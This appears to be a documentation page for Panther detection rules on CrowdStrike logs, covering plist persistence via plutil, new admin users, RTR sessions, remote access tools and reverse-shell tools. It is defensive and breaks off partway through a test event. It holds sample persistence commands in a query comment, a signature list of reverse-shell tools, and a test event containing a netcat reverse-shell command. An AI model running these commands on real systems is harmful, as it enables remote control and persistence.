Detects when plutil performs MODIFICATION operations (insert, replace, remove, create) on plist files it hasn't modified in the previous 30 days. Uses behavioral filtering to exclude read-only operations (convert, print, lint) that generate noise.

MITRE ATT&CK coverage

TacticTechniques
PersistenceNo specific technique

Rule specification

AnalysisType: scheduled_query
QueryName: CrowdStrike MacOS plutil Novel Plist Modification
Enabled: false
Description: Detects when plutil performs MODIFICATION operations (insert, replace, remove, create) on plist files it hasn't modified in the previous 30 days. Uses behavioral filtering to exclude read-only operations (convert, print, lint) that generate noise.
Tags:
  - Anomaly Detection
  - CrowdStrike
  - macOS
  - Persistence
  - T1547.011
Query: |-
    -- pragma: template

    {% import 'anomalies' new_unique_values %}

    with subquery as (
        SELECT
            aid as device_id,
            p_event_time,
            event:CommandLine as command_line,
            -- Extract plist file path from command line (robust extraction)
            -- 1. Try regex match for absolute/relative paths ending in .plist
            -- 2. Fall back to last space-delimited argument
            -- 3. Strip quotes to handle: "/path with spaces/file.plist"
            -- Handles: /Library/file.plist, ~/file.plist, "path with spaces.plist"
            REPLACE(
                REPLACE(
                    COALESCE(
                        REGEXP_SUBSTR(event:CommandLine, '[~/][^\\s]*\\.plist'),
                        SPLIT_PART(event:CommandLine, ' ', -1)
                    ),
                    '"', ''
                ),
                '''', ''
            ) as plist_file
        FROM panther_logs.public.crowdstrike_fdrevent
        WHERE
            p_occurs_since('60 day')
            AND event_platform = 'Mac'
            AND fdr_event_type = 'ProcessRollup2'
            AND event:ImageFileName = '/usr/bin/plutil'
            -- BEHAVIORAL FILTERING: Focus on modification operations
            -- Only alert on operations that CHANGE plists, not just read them
            -- CAUGHT (modifications):
            --   plutil -insert RunAtLoad -bool true file.plist
            --   plutil --replace ProgramArguments -array /tmp/evil file.plist
            --   plutil -remove SomeKey file.plist
            --   plutil --create xml1 file.plist
            -- FILTERED OUT (read-only):
            --   plutil -convert binary1 file.plist (format conversion)
            --   plutil -p file.plist (print/read)
            --   plutil -lint file.plist (syntax check)
            --   plutil -extract Key xml1 file.plist (read value)
            -- Use ILIKE for case-insensitive matching (handles -INSERT, --Replace, etc.)
            AND (
                event:CommandLine ILIKE '%--insert%'      -- Adding new keys
                OR event:CommandLine ILIKE '%-insert%'
                OR event:CommandLine ILIKE '%--replace%'  -- Modifying existing keys
                OR event:CommandLine ILIKE '%-replace%'
                OR event:CommandLine ILIKE '%--remove%'   -- Deleting keys
                OR event:CommandLine ILIKE '%-remove%'
                OR event:CommandLine ILIKE '%--create%'   -- Creating new plists
                OR event:CommandLine ILIKE '%-create%'
            )
            -- Exclude known benign operations
            AND event:CommandLine != 'plutil -convert binary1 /Library/Preferences/com.tinyspeck.slackmacgap.plist'
    ),
    {{ new_unique_values('subquery', 'device_id', 'plist_file', '1day') }}

Schedule:
  CronExpression: '0 */4 * * *'
  TimeoutMinutes: 5

CrowdStrike MacOS plutil Novel Plist Modification (Anomaly Detection)

#
Status
Experimental
Severity
medium
Group by
device_id, plist_file
Tags
Anomaly Detection, macOS, Persistence, CrowdStrike, T1547.011
Reference
attack.mitre.org
Source
github.com/panther-labs/panther-analysis

Detects when plutil performs modification operations (insert, replace, remove, create) on plist files it hasn't modified in the previous 30 days. Uses behavioral filtering to exclude read-only operations (convert, print, lint). This anomaly-based approach reduces noise from legitimate repeated operations while catching novel persistence attempts, even in /Applications/.

MITRE ATT&CK coverage

TacticTechniques
Defense Impairment

Detection logic

def rule(event):
    # The scheduled query returns only new plist files that haven't been modified before
    # Add additional filtering here if needed
    plist_file = event.get("plist_file", "")

    # Filter out empty, malformed, or invalid results
    if not plist_file:
        return False

    # Filter out whitespace-only strings
    if isinstance(plist_file, str) and not plist_file.strip():
        return False

    # Filter out placeholder/error values from query
    if plist_file == "<UNKNOWN_FILE>":
        return False

    # Any valid result from the query should trigger an alert
    return True


def dedup(event):
    # Group alerts by device and plist file
    device_id = event.get("device_id", "<UNKNOWN_DEVICE>")
    plist_file = event.get("plist_file", "<UNKNOWN_FILE>")
    return f"{device_id}:{plist_file}"


def title(event):
    plist_file = event.get("plist_file", "<UNKNOWN_FILE>")
    return f"Crowdstrike: plutil modified new plist file: {plist_file}"


def severity(event):
    plist_file = event.get("plist_file", "")

    # Critical: System-level persistence with elevated privileges
    if any(
        loc in plist_file for loc in ["/System/Library/LaunchDaemons/", "/Library/LaunchDaemons/"]
    ):
        return "HIGH"

    # High: System-level LaunchAgents or system directory modifications
    if "/Library/LaunchAgents/" in plist_file or "/System/" in plist_file:
        return "HIGH"

    # Default: Medium for all other novel modifications
    return "DEFAULT"


def alert_context(event):
    plist_file = event.get("plist_file", "<UNKNOWN_FILE>")

    # Determine risk indicators based on plist location
    risk_indicators = []
    if any(loc in plist_file for loc in ["/Library/LaunchAgents/", "/Library/LaunchDaemons/"]):
        risk_indicators.append("System-level persistence location")
    elif any(loc in plist_file for loc in ["LaunchAgents/", "LaunchDaemons/"]):
        risk_indicators.append("User-level persistence location")
    elif "/Applications/" in plist_file:
        risk_indicators.append("Application bundle modification (potential tampering)")
    elif "/System/" in plist_file:
        risk_indicators.append("System directory modification (elevated privileges)")

    return {
        "device_id": event.get("device_id", "<UNKNOWN_DEVICE>"),
        "plist_file": plist_file,
        "detection_type": "Anomaly - New Modification Detected",
        "baseline_period": "30 days",
        "risk_indicators": risk_indicators if risk_indicators else ["Non-standard plist location"],
    }

Rule specification

AnalysisType: scheduled_rule
Filename: crowdstrike_macos_plutil_newfiles.py
DisplayName: CrowdStrike MacOS plutil Novel Plist Modification (Anomaly Detection)
Enabled: false
Status: Experimental
Description: |
  Detects when plutil performs modification operations (insert, replace, remove, create) on plist
  files it hasn't modified in the previous 30 days. Uses behavioral filtering to exclude read-only
  operations (convert, print, lint). This anomaly-based approach reduces noise from legitimate
  repeated operations while catching novel persistence attempts, even in /Applications/.
Severity: Medium
DedupPeriodMinutes: 1440
Threshold: 1
Reference: https://attack.mitre.org/techniques/T1547/011/
Runbook: |
  1. Verify the plist modification was authorized. Query CrowdStrike for the full plutil command line on the affected device to determine the exact operation performed (insert, replace, remove, create) and identify the parent process that executed the command.
  2. Review the modification context including the user account, source process, and timing. Assess the risk level based on the plist location - LaunchAgents/LaunchDaemons indicate persistence attempts (high risk), while /Applications/ modifications could be legitimate software updates (medium risk). Check for suspicious parent processes such as bash, python, curl, or remote shell activity.
  3. If the modification is suspicious or unauthorized, quarantine the device and analyze the modified plist content for malicious payloads or references to external scripts. Review all processes currently running that may have been launched by the modified plist, revoke any persistence mechanisms, and hunt for related IOCs across other endpoints. Escalate for forensic analysis if compromise is confirmed.
Tags:
  - Anomaly Detection
  - macOS
  - Persistence
  - CrowdStrike
  - T1547.011
InlineFilters:
  - All: []
ScheduledQueries:
  - CrowdStrike MacOS plutil Novel Plist Modification
RuleID: Crowdstrike.Macos.Plutil.NewFiles

Stages and Predicates

Fires when all of the conditions below hold.

Condition

  • plist_file is present
  • plist_file is not <UNKNOWN_FILE>

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Alert deduplication
repeat matches within 1d group into one alert

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
plist_fileis_not_null
  • (no value, null check)
field:"plist_file" kind:is_not_null
plist_filene
  • <UNKNOWN_FILE>
field:"plist_file" kind:ne value:"<UNKNOWN_FILE>"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
device_id
plist_file

Response runbook

1. Verify the plist modification was authorized. Query CrowdStrike for the full plutil command line on the affected device to determine the exact operation performed (insert, replace, remove, create) and identify the parent process that executed the command.

2. Review the modification context including the user account, source process, and timing. Assess the risk level based on the plist location - LaunchAgents/LaunchDaemons indicate persistence attempts (high risk), while /Applications/ modifications could be legitimate software updates (medium risk). Check for suspicious parent processes such as bash, python, curl, or remote shell activity.

3. If the modification is suspicious or unauthorized, quarantine the device and analyze the modified plist content for malicious payloads or references to external scripts. Review all processes currently running that may have been launched by the modified plist, revoke any persistence mechanisms, and hunt for related IOCs across other endpoints. Escalate for forensic analysis if compromise is confirmed.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "device_id": "abc123def456789",
  "plist_file": "/Library/LaunchAgents/com.suspicious.agent.plist"
}

CrowdStrike MacOS plutil Usage

#
Severity
medium
Entities
ip_addresses, md5_hashes, sha1_hashes, sha256_hashes, trace_ids
Log types
Crowdstrike.FDREvent
Reference
www.crowdstrike.com
Source
github.com/panther-labs/panther-analysis

Detects the usage of plutil to modify plist files. Plist files run on start up and are often used by attackers to maintain persistence.

Detection logic

from panther_crowdstrike_fdr_helpers import crowdstrike_process_alert_context


def rule(event):
    command_line = event.deep_get("event", "CommandLine", default="<UNKNOWN_COMMAND_LINE>")
    if (
        command_line
        == "plutil -convert binary1 /Library/Preferences/com.tinyspeck.slackmacgap.plist"
    ):
        return False

    event_platform = event.get("event_platform", "<UNKNOWN_PLATFORM>")
    fdr_event_type = event.get("fdr_event_type", "<UNKNOWN_FDR_EVENT_TYPE>")
    image_filename = event.deep_get("event", "ImageFileName", default="<UNKNOWN_IMAGE_FILE_NAME>")

    return all(
        [
            event_platform == "Mac",
            fdr_event_type == "ProcessRollup2",
            image_filename == "/usr/bin/plutil",
        ]
    )


def dedup(event):
    command_line = event.deep_get("event", "CommandLine", default="<UNKNOWN_COMMAND_LINE>")
    file_name = command_line.split(" ")[-1]
    return file_name


def title(_):
    return "Crowdstrike: plutil was used to modify a plist file on one or more devices"


def alert_context(event):
    return crowdstrike_process_alert_context(event)

Rule specification

AnalysisType: rule
DisplayName: CrowdStrike MacOS plutil Usage
Description: Detects the usage of plutil to modify plist files. Plist files run on start up and are often used by attackers to maintain persistence.
Enabled: true
Filename: crowdstrike_macos_plutil_usage.py
RuleID: Crowdstrike.Macos.Plutil.Usage
Reference: https://www.crowdstrike.com/blog/reconstructing-command-line-activity-on-macos/#:~:text=Terminal.savedState/.-,Windows.plist,-The%20file%20windows
Severity: Medium
LogTypes:
  - Crowdstrike.FDREvent

Stages and Predicates

Fires on Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • event.CommandLine is not plutil -convert binary1 /Library/Preferences/com.tinyspeck.slackmacgap.plist
  • event_platform is Mac
  • fdr_event_type is ProcessRollup2
  • event.ImageFileName is /usr/bin/plutil

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
aid
CommandLine
TargetProcessId
RawProcessId
ParentBaseFileName
ParentProcessId
ImageFileName
SHA256HashSHA256HashData
platformevent_platform

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "aid": "1234abcdefghijklmnop",
  "aip": "1.2.3.4",
  "cid": "abcde098654321xyz",
  "configbuild": "1007.4.0016804.11",
  "configstatehash": "1260279761",
  "entitlements": "15",
  "event": {
    "CodeSigningFlags": "570506001",
    "CommandLine": "plutil -insert somekey -string somevalue test.app.plist",
    "ConfigBuild": "1007.4.0016804.11",
    "ConfigStateHash": "1260279761",
    "EffectiveTransmissionClass": "2",
    "Entitlements": "15",
    "GID": "20",
    "ImageFileName": "/usr/bin/plutil",
    "MD5HashData": "5a29b1ee210395604829dafd744a8039",
    "MachOSubType": "1",
    "ParentBaseFileName": "zsh",
    "ParentProcessId": "488592041865603507",
    "ProcessEndTime": "",
    "ProcessGroupId": "488638905187012012",
    "ProcessStartTime": "1685123957.068",
    "RGID": "501",
    "RUID": "501",
    "RawProcessId": "51673",
    "SHA1HashData": "0000000000000000000000000000000000000000",
    "SHA256HashData": "fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de",
    "SVGID": "20",
    "SVUID": "501",
    "SessionProcessId": "488592041748162994",
    "SigningId": "com.apple.Foundation.plutil",
    "SourceProcessId": "488592041865603507",
    "SourceThreadId": "0",
    "Tags": "316",
    "TargetProcessId": "488638905187012012",
    "TeamId": "-",
    "UID": "501",
    "aid": "1234abcdefghijklmnop",
    "aip": "1.2.3.4",
    "cid": "abcde098654321xyz",
    "event_platform": "Mac",
    "event_simpleName": "ProcessRollup2",
    "id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
    "name": "ProcessRollup2MacV9",
    "timestamp": "1685123957235"
  },
  "event_platform": "Mac",
  "event_simplename": "ProcessRollup2",
  "fdr_event_type": "ProcessRollup2",
  "id": "59c9d5fb-b9b7-43a3-913f-6df72d9e1969",
  "name": "ProcessRollup2MacV9",
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_any_md5_hashes": [
    "1234abcdefghijklmnop",
    "5a29b1ee210395604829dafd744a8039",
    "abcde098654321xyz"
  ],
  "p_any_sha1_hashes": [
    "0000000000000000000000000000000000000000"
  ],
  "p_any_sha256_hashes": [
    "fc708414b7e7c0df8d7711d0362b4dbd79a45fba65bdc646848fa8f50e9035de"
  ],
  "p_any_trace_ids": [
    "1234abcdefghijklmnop",
    "abcde098654321xyz"
  ],
  "p_event_time": "2023-05-26 17:59:17.235",
  "p_log_type": "Crowdstrike.FDREvent",
  "p_parse_time": "2023-05-26 18:11:03.404",
  "p_row_id": "d6ff1555b3f6e785b3e2bbb218abf524",
  "p_schema_version": 0,
  "p_source_id": "e4962678-a986-44af-a757-18163a2bc963",
  "p_source_label": "Crowdstrike",
  "timestamp": "2023-05-26 17:59:17.235"
}

Crowdstrike New Admin User Created

#
Severity
high
Time window
45m
Match by
p_alert_context.actor_target
Source
github.com/panther-labs/panther-analysis

Detects when a user account is created and assigned admin permissions

MITRE ATT&CK coverage

Rule specification

AnalysisType: correlation_rule
RuleID: "Crowdstrike.NewAdminUserCreated"
DisplayName: "Crowdstrike New Admin User Created"
Enabled: true
Severity: High
Description: Detects when a user account is created and assigned admin permissions
Reports:
  MITRE ATT&CK:
    - TA0003:T1136.003 # Persistence: Create Cloud Account
    - TA0003:T1098.003 # Persistence: Additional Cloud Roles
    - TA0004:T1098.003 # Priv Escalation: Additional Cloud Roles
Detection:
  - Sequence:
      - ID: AccountCreated
        RuleID: Crowdstrike.NewUserCreated
      - ID: AdminRoleAssigned
        RuleID: Crowdstrike.AdminRoleAssigned
    Transitions:
      - ID: AcountCreated FOLLOWED BY AdminRoleAssigned ON target AND actor
        From: AccountCreated
        To: AdminRoleAssigned
        WithinTimeFrameMinutes: 45
        Match:
          - On: p_alert_context.actor_target
    LookbackWindowMinutes: 2160
    Schedule:
      RateMinutes: 1440
      TimeoutMinutes: 1

Stages and Predicates

Fires when the steps below all occur in order within 45m, correlated by p_alert_context.actor_target. Each step needs one match unless a higher minimum is shown.

Stage 1: step AccountCreated ordered before $AdminRoleAssigned

References detection Crowdstrike New User Created.

Stage 2: step AdminRoleAssigned ordered after $AccountCreated

References detection Crowdstrike Admin Role Assigned.

Crowdstrike New User Created

#
Severity
informational
Log types
Crowdstrike.EventStreams
Source
github.com/panther-labs/panther-analysis

A new Crowdstrike user was created

MITRE ATT&CK coverage

TacticTechniques
Persistence

Detection logic

from panther_base_helpers import key_value_list_to_dict
from panther_crowdstrike_event_streams_helpers import cs_alert_context


def rule(event):
    return all(
        [
            event.deep_get("event", "OperationName") == "createUser",
            event.deep_get("event", "Success"),
        ]
    )


def title(event):
    audit_keys = key_value_list_to_dict(
        event.deep_get("event", "AuditKeyValues"), "Key", "ValueString"
    )

    actor = event.deep_get("event", "UserId", "UNKNOWN USER")
    target = audit_keys.get("target_name")

    return f"[{actor}] created a new user: [{target}]"


def alert_context(event):
    context = cs_alert_context(event)
    actor = context.get("actor_user", "UNKNOWN_ACTOR")
    target = context.get("target_name", "UNKNOWN_TARGET")
    context["actor_target"] = f"{actor}-{target}"
    return context

Rule specification

AnalysisType: rule
Filename: crowdstrike_new_user_created.py
RuleID: "Crowdstrike.NewUserCreated"
DisplayName: "Crowdstrike New User Created"
Enabled: true
LogTypes:
  - Crowdstrike.EventStreams
Severity: Info
CreateAlert: false
Reports:
  MITRE ATT&CK:
    - TA0003:T1136.003 # Create Cloud Account
Description: A new Crowdstrike user was created
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Confirm the new user is valid.

Stages and Predicates

Fires on Crowdstrike.EventStreams events when all of the conditions below hold.

Condition

  • event.OperationName is createUser
  • event.Success is present

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
UNKNOWN USERevent.UserId.UNKNOWN USER

Response runbook

Confirm the new user is valid.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "event": {
    "AuditKeyValues": [
      {
        "Key": "target_name",
        "ValueString": "frodo.baggins@hobbiton.co"
      }
    ],
    "OperationName": "createUser",
    "ServiceName": "CrowdStrike Authentication",
    "Success": true,
    "UTCTimestamp": "2024-07-22 15:50:16.923000000",
    "UserId": "bilbo.baggins@hobbiton.co",
    "UserIp": "1.1.1.1"
  },
  "metadata": {
    "customerIDString": "face_customer_id",
    "eventCreationTime": "2024-07-22 15:50:16.923000000",
    "eventType": "AuthActivityAuditEvent",
    "offset": 1238741,
    "version": "1.0"
  }
}

Crowdstrike Real Time Response (RTS) Session

#
Severity
medium
Group by
UserName
Entities
domain_names, emails, md5_hashes, trace_ids, usernames
Log types
Crowdstrike.Unknown, Crowdstrike.FDREvent
Tags
Crowdstrike
Reference
falcon.us-2.crowdstrike.com
Source
github.com/panther-labs/panther-analysis

Alert when someone uses Crowdstrike’s RTR (real-time response) capability to access a machine remotely to run commands.

Detection logic

from panther_crowdstrike_fdr_helpers import get_crowdstrike_field


def rule(event):
    return (
        get_crowdstrike_field(event, "ExternalApiType", default="<unknown-ExternalApiType>")
        == "Event_RemoteResponseSessionStartEvent"
    )


def title(event):
    user_name = get_crowdstrike_field(event, "UserName", default="<unknown-UserName>")
    hostname_field = get_crowdstrike_field(
        event, "HostnameField", default="<unknown-HostNameField>"
    )
    return f"{user_name} started a Crowdstrike Real-Time Response (RTR) shell on {hostname_field}"


def severity(event):
    if get_crowdstrike_field(event, "UserName", default="").lower().endswith("@crowdstrike.com"):
        return "INFO"
    return "DEFAULT"


def dedup(event):
    return get_crowdstrike_field(event, "UserName", default="<unknown-UserName>")


def alert_context(event):
    return {
        "Start Time": get_crowdstrike_field(
            event, "StartTimestamp", default="<unknown-StartTimestamp>"
        ),
        "SessionId": get_crowdstrike_field(event, "SessionId", default="<unknown-SessionId>"),
        "Actor": get_crowdstrike_field(event, "UserName", default="<unknown-UserName>"),
        "Target Host": get_crowdstrike_field(
            event, "HostnameField", default="<unknown-HostnameField>"
        ),
    }

Rule specification

AnalysisType: rule
DedupPeriodMinutes: 60 # 1 hour
DisplayName: "Crowdstrike Real Time Response (RTS) Session"
Enabled: true
Filename: crowdstrike_real_time_response_session.py
RuleID: "Crowdstrike.RealTimeResponse.Session"
Severity: Medium
LogTypes:
  - Crowdstrike.Unknown
  - Crowdstrike.FDREvent
Tags:
  - Crowdstrike
Description: >
  Alert when someone uses Crowdstrike’s RTR (real-time response) capability to access a machine remotely to run commands.
Runbook: >
  Validate the real-time response session started by the Actor.
Reference: https://falcon.us-2.crowdstrike.com/documentation/71/real-time-response-and-network-containment#reviewing-real-time-response-audit-logs

Stages and Predicates

Fires on Crowdstrike.Unknown, Crowdstrike.FDREvent events when the condition below holds.

Condition

  • ExternalApiType is Event_RemoteResponseSessionStartEvent

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
Start TimeStartTimestamp
SessionId
ActorUserName
Target HostHostnameField

Response runbook

Validate the real-time response session started by the Actor.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "cid": "12345abcdef",
  "unknown_payload": {
    "AgentIdString": "12ab56cd",
    "CustomerIdString": "1234",
    "EventType": "Event_ExternalApiEvent",
    "ExternalApiType": "Event_RemoteResponseSessionStartEvent",
    "HostnameField": "John Macbook Pro",
    "Nonce": -4714046577736361000,
    "SessionId": "6e1181e4-4924-4761-az3d-666851jdb950",
    "StartTimestamp": 1670460538,
    "UTCTimestamp": 1670460538000,
    "UserName": "example@example.io",
    "cid": "12345abcdef",
    "eid": 118,
    "timestamp": "2022-12-08T00:48:58Z"
  }
}

Crowdstrike Remote Access Tool Execution

#
Severity
informational
Entities
ip_addresses, md5_hashes, sha1_hashes, sha256_hashes, trace_ids
Log types
Crowdstrike.FDREvent
Reference
attack.mitre.org
Source
github.com/panther-labs/panther-analysis

Detects usage of common remote access tools.

MITRE ATT&CK coverage

TacticTechniques
Command & Control

Detection logic

from panther_crowdstrike_fdr_helpers import crowdstrike_detection_alert_context

REMOTE_ACCESS_EXECUTABLES = {
    "teamviewer_service.exe",
    "winvnc.exe",
    "racwinvnc.exe",
    "tvnserver.exe",
    "ultravnc.exe",
    "remotelyanywhere.exe",
    "logmein.exe",
    "g2svc.exe",
    "vncserver.exe",
    "awhost32.exe",
    "r_server.exe",
    "raabout.exe",
    "anydesk.exe",
    "ammyyadmin.exe",
    "putty.exe",
    "mstsc.exe",
    "chrome-remote-desktop-host.exe",
}


def rule(event):
    if event.get("fdr_event_type", "") == "ProcessRollup2":
        if event.get("event_platform", "") == "Win":
            process_name = (
                event.deep_get("event", "ImageFileName", default="").lower().split("\\")[-1]
            )
            return process_name in REMOTE_ACCESS_EXECUTABLES
    return False


def title(event):
    tool = (
        event.deep_get("event", "ImageFileName", default="<TOOL_NOT_FOUND>").lower().split("\\")[-1]
    )
    return f"Crowdstrike: Remote access tool [{tool}] detected"


def alert_context(event):
    return crowdstrike_detection_alert_context(event)

Rule specification

AnalysisType: rule
Description: Detects usage of common remote access tools.
DisplayName: "Crowdstrike Remote Access Tool Execution"
Enabled: true
Filename: crowdstrike_remote_access_tool_execution.py
Reference: https://attack.mitre.org/techniques/T1219/
Severity: Info
DedupPeriodMinutes: 60
LogTypes:
  - Crowdstrike.FDREvent
RuleID: "Crowdstrike.Remote.Access.Tool.Execution"
Threshold: 1

Stages and Predicates

Fires on Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • fdr_event_type is ProcessRollup2
  • event_platform is Win

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
aid
userUserName
console-linkFalconHostLink
commandlineCommandLine
parentcommandlineParentCommandLine
filenameFileName
filepathFilePath
descriptionDescription
actionPatternDispositionDescription

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "aid": "123456789abcdefghijklmn01234567",
  "aip": "1.2.3.4",
  "cid": "987abcd8765ghijk5432opq21",
  "configbuild": "1007.3.0016606.11",
  "configstatehash": "3799024366",
  "entitlements": "15",
  "event": {
    "AuthenticationId": "293628",
    "AuthenticodeHashData": "0000000000bc97f7a55c355f06119abc90155e8a",
    "CommandLine": "C:\\Windows\\System32\\chrome-remote-desktop-host.exe",
    "ConfigBuild": "1007.3.0016606.11",
    "ConfigStateHash": "3799024366",
    "EffectiveTransmissionClass": "2",
    "Entitlements": "15",
    "ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\chrome-remote-desktop-host.exe",
    "ImageSubsystem": "3",
    "IntegrityLevel": "12288",
    "MD5HashData": "0000000000df0bc6120d437e0a7e1281",
    "ParentAuthenticationId": "293628",
    "ParentBaseFileName": "pwsh.exe",
    "ParentProcessId": "4370948876",
    "ProcessCreateFlags": "0",
    "ProcessEndTime": "",
    "ProcessParameterFlags": "24577",
    "ProcessStartTime": "1682106752.006",
    "ProcessSxsFlags": "64",
    "RawProcessId": "1468",
    "SHA1HashData": "0000000000000000000000000000000000000000",
    "SHA256HashData": "0000000000040627d2ab8b9f2a3b69f7054ae3bfe8fb3bbac209ef95d4fc42be",
    "SessionId": "2",
    "SignInfoFlags": "8683538",
    "SourceProcessId": "4370948876",
    "SourceThreadId": "6364981533",
    "Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633",
    "TargetProcessId": "4390327988",
    "TokenType": "1",
    "TreeId": "4295752857",
    "UserSid": "S-1-5-21-239183934-720705223-383019856-500",
    "aid": "123456789abcdefghijklmn01234567",
    "aip": "1.2.3.4",
    "cid": "987abcd8765ghijk5432opq21",
    "event_platform": "Win",
    "event_simpleName": "ProcessRollup2",
    "id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
    "name": "ProcessRollup2V19",
    "timestamp": "1682106752722"
  },
  "event_platform": "Win",
  "event_simplename": "ProcessRollup2",
  "fdr_event_type": "ProcessRollup2",
  "id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
  "name": "ProcessRollup2V19",
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_any_md5_hashes": [
    "0000000000df0bc6120d437e0a7e1281",
    "123456789abcdefghijklmn01234567",
    "987abcd8765ghijk5432opq21"
  ],
  "p_any_sha1_hashes": [
    "0000000000000000000000000000000000000000"
  ],
  "p_any_sha256_hashes": [
    "0000000000040627d2ab8b9f2a3b69f7054ae3bfe8fb3bbac209ef95d4fc42be"
  ],
  "p_any_trace_ids": [
    "4295752857",
    "123456789abcdefghijklmn01234567",
    "987abcd8765ghijk5432opq21"
  ],
  "p_event_time": "2023-04-21 19:52:32.722",
  "p_log_type": "Crowdstrike.FDREvent",
  "p_parse_time": "2023-04-21 20:05:52.94",
  "p_row_id": "0000000000224847bdd7fa2ef5daae32",
  "p_schema_version": 0,
  "p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
  "p_source_label": "Crowdstrike-FDR-Dev",
  "timestamp": "2023-04-21 19:52:32.722",
  "treeid": "4295752857"
}

Crowdstrike Reverse Shell Tool Executed

#
Severity
high
Entities
ip_addresses, md5_hashes, sha1_hashes, sha256_hashes, trace_ids
Log types
Crowdstrike.FDREvent
Reference
attack.mitre.org
Source
github.com/panther-labs/panther-analysis

Detects usage of tools commonly used to to establish reverse shells on Windows machines.

MITRE ATT&CK coverage

Detection logic

from panther_crowdstrike_fdr_helpers import crowdstrike_detection_alert_context

REMOTE_SHELL_TOOLS = {
    #   process name: reverse shell signature
    "nc.exe": ["cmd.exe", "powershell.exe", "command.exe"],
    "ncat.exe": ["cmd.exe", "powershell.exe", "command.exe"],
    "socat.exe": ["cmd.exe", "powershell.exe", "command.exe"],
    "psexec.exe": ["cmd.exe", "powershell.exe", "command.exe"],
    "python.exe": ["cmd.exe", "powershell.exe", "command.exe"],
    "powershell.exe": ["System.Net.Sockets.TcpClient"],
    "certutil.exe": ["-urlcache"],
    "php.exe": ["fsockopen", "cmd.exe", "powershell.exe", "command.exe"],
}


def rule(event):
    if event.get("fdr_event_type", "") == "ProcessRollup2":
        if event.get("event_platform", "") == "Win":
            process_name = (
                event.deep_get("event", "ImageFileName", default="").lower().split("\\")[-1]
            )
            command_line = event.deep_get("event", "CommandLine", default="")
            signatures = REMOTE_SHELL_TOOLS.get(process_name, [])
            for signature in signatures:
                if signature in command_line:
                    return True
    return False


def title(event):
    tool = (
        event.deep_get("event", "ImageFileName", default="<TOOL_NOT_FOUND>").lower().split("\\")[-1]
    )
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    return f"Crowdstrike: Reverse shell tool [{tool}] detected on host [{host}]"


def alert_context(event):
    return crowdstrike_detection_alert_context(event)

Rule specification

AnalysisType: rule
Description: Detects usage of tools commonly used to to establish reverse shells on Windows machines.
DisplayName: "Crowdstrike Reverse Shell Tool Executed"
Enabled: true
Filename: crowdstrike_reverse_shell_tool_executed.py
Reference: https://attack.mitre.org/techniques/T1059/
Severity: High
DedupPeriodMinutes: 60
LogTypes:
  - Crowdstrike.FDREvent
RuleID: "Crowdstrike.Reverse.Shell.Tool.Executed"
Threshold: 1

Stages and Predicates

Fires on Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • fdr_event_type is ProcessRollup2
  • event_platform is Win

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
aid
userUserName
console-linkFalconHostLink
commandlineCommandLine
parentcommandlineParentCommandLine
filenameFileName
filepathFilePath
descriptionDescription
actionPatternDispositionDescription
ComputerName

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "aid": "1234abcd4567efghi8901abc",
  "aip": "11.10.9.8",
  "cid": "abc987jkl654mnop321",
  "configbuild": "1007.3.0016606.11",
  "configstatehash": "3799024366",
  "entitlements": "15",
  "event": {
    "AuthenticationId": "293628",
    "AuthenticodeHashData": "5540c470218d209b7c3eca3d12e190580814d566",
    "CommandLine": "C:\\Windows\\System32\\nc.exe -e cmd.exe 1.1.1.1 80",
    "ConfigBuild": "1007.3.0016606.11",
    "ConfigStateHash": "3799024366",
    "EffectiveTransmissionClass": "2",
    "Entitlements": "15",
    "ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\nc.exe",
    "ImageSubsystem": "3",
    "IntegrityLevel": "12288",
    "MD5HashData": "5fd22b915c232378e567160d641cc9f2",
    "ParentAuthenticationId": "293628",
    "ParentBaseFileName": "pwsh.exe",
    "ParentProcessId": "4370948876",
    "ProcessCreateFlags": "0",
    "ProcessEndTime": "",
    "ProcessParameterFlags": "24577",
    "ProcessStartTime": "1682106752.006",
    "ProcessSxsFlags": "64",
    "RawProcessId": "1468",
    "SHA1HashData": "0000000000000000000000000000000000000000",
    "SHA256HashData": "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377",
    "SessionId": "2",
    "SignInfoFlags": "8683538",
    "SourceProcessId": "4370948876",
    "SourceThreadId": "6364981533",
    "Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633",
    "TargetProcessId": "4390327988",
    "TokenType": "1",
